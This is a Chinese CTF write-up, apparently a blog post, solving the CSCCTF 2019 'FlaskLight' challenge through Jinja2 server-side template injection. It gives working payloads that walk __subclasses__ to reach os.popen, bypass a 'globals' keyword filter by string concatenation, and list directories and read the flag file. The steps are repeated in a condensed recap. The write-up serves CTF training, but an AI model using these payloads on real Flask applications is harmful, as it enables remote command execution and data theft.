[CSCCTF 2019 Qual]FlaskLight

    1. 进入题目可也看到有一个FlaskLight的提示,以及页面上显示你查询的和查询的结果字样。先查看源码发现提示内容:有一个get请求方式的参数search    

    2. 传递参数search并进行模板注入的测试,输入?search={{5*8}},页面输出表达式的结果,很好可以进行模板注入,回显点在You searched for下面
   


    3. 寻找执行命可以借助的类
        a. 获取变量[]所属的类名 {{[].__class__}}
        页面回显 <type 'list'>
        b. 获取list所继承的基类名 {{[].__class__.__base__}}
        页面回显 <type 'object'>
        c. 获取所有继承自object的类 {{[].__class__.__base__.__subclasses__()}}
        这里回显了很长一个列表,这里可以将这些数据放在列表中,通过list.index输出想要的类在第几位。不过需要对这传数据进行简单的处理(将<>换成"")    

         

        d. 经过查询后,可以借助的类<class 'warnings.catch_warnings'>,没有内置os模块在第59位。<class 'site._Printer'> 内含os模块 在第71位,可以借助这些类来执行命令。

 


    不含os模块的类warnings.catch_warnings

  进行命令执行
        a. 目录读取
        {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
        PS:由于使用['__globals__']会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式['__glo'+'bals__']
        页面回显:bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
        b. 读取目录flasklight
        {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
        页面回显:app.py coomme_geeeett_youur_flek
        c. cat文件 coomme_geeeett_youur_flek 得到flag
        {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}   

         

        d. 之后又cat了一下同目录下的app.py文件,发现确实gloabls在和名单下
          

 

 


    内含os模块的类 class'site._Printer'
       a. 目录查询
        {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
        因为这里listdir同样被ban了
      b.  读取目录flasklight
        {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}
       c. 读取flag
        {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}}

 

a. 获取变量[]所属的类名 {{[].__class__}}
b. 获取list所继承的基类名 {{[].__class__.__base__}}    
c. 获取所有继承自object的类 {{[].__class__.__base__.__subclasses__()}}

没有内置的os模块的类
目录查询
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
读取目录flask
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
读取flag
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}


内含os模块的类(不需要import os)
class'site._Printer' 内含os模块 在第71位 目录查询 {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}} 本来想直接用listdir('/'),但这里listdir同样被ban了 读取目录flasklight {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}} 读取flag {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}

 

posted @ 2020-10-29 13:16  二算i  阅读(1565)  评论(0编辑  收藏  举报